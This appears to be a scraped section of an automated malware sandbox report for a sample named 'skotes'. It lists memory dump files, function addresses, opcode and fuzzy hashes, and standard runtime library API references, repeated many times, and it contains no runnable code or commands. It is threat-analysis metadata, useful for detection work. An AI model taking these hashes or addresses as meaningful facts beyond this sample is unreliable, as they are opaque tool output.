Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: e83295550199dab83be20b94404f51c72de398d7d2bb1e4730698b8f8b05907e
Instruction ID: 6364ff6a46a913001e644b988f6c467229c97476185717a10a3876af5ff80aec
Opcode Fuzzy Hash: e83295550199dab83be20b94404f51c72de398d7d2bb1e4730698b8f8b05907e
Instruction Fuzzy Hash: 8741C170604214AFDB39AB24C88AFBDBB75AF44310F0480ADE5069B3C2CB78AD45C7E1

Function 007C56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 007C56F2
_InternalDeleteHelper.LIBCONCRT ref: 007C5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 007C578B
SafeRWList.LIBCONCRT ref: 007C579A

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 4294cbde71fa76bae16a34d442e9d3e032633eee9b8884ba2e1430d61af3448a
Instruction ID: 15708a21c807e971fcca683a78bd57b5ced94b9af02ee4ff3a370a13fdb04183
Opcode Fuzzy Hash: 4294cbde71fa76bae16a34d442e9d3e032633eee9b8884ba2e1430d61af3448a
Instruction Fuzzy Hash: 1A311236701610DFDB059F20C885FAD73A6AF88710F18827DE9059B355DF39BC458B90

Function 007C2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007C2D0F

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 1f366d8ef611e711959f797f9eb2ab04ea4f4e74842571229e5a78d5edd0c787
Instruction ID: 6921537a430c66c535fd1dde5a485215e46d54253d06973e1a6cf9e5852346d2
Opcode Fuzzy Hash: 1f366d8ef611e711959f797f9eb2ab04ea4f4e74842571229e5a78d5edd0c787
Instruction Fuzzy Hash: 49312675A00309EFCF14DF94C8C4BAE7BB9AB54314F1404AED902AB356D738A946DBA0

Function 007D13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007D13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 007D1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 007D147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 007D152A

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: ff4610dd43a919533f546c606f06ae13f299c3873fd0cc042518f7f22ba4d840
Instruction ID: 4cf2169cc4402dbac5669a87a40d4083dc72957b3a2f5567fb22f73cc58b6f16
Opcode Fuzzy Hash: ff4610dd43a919533f546c606f06ae13f299c3873fd0cc042518f7f22ba4d840
Instruction Fuzzy Hash: 8C3185B1A00606EFCF14DFA8C4959EDF7B1BF88710B54822EE516A7781DB38AD41CB90

Function 007BBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007BBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBBE4
_xtime_get.LIBCPMT ref: 007BBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBC13

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: ca152ab28ced1504f439f56363f7aa6d18afde4c40dd4fb30fca854327aeb4b1
Instruction ID: 53f51b03a251172b42ef9df421c510e2fc7fc8c6899231c4211cb82d657e5bab
Opcode Fuzzy Hash: ca152ab28ced1504f439f56363f7aa6d18afde4c40dd4fb30fca854327aeb4b1
Instruction Fuzzy Hash: 0521ED76A00119EFDF01EFA4D885AFEBBB9EF48714F108065F901A7251DB789D019BA1

Function 007C9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007C9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 007C9CE8
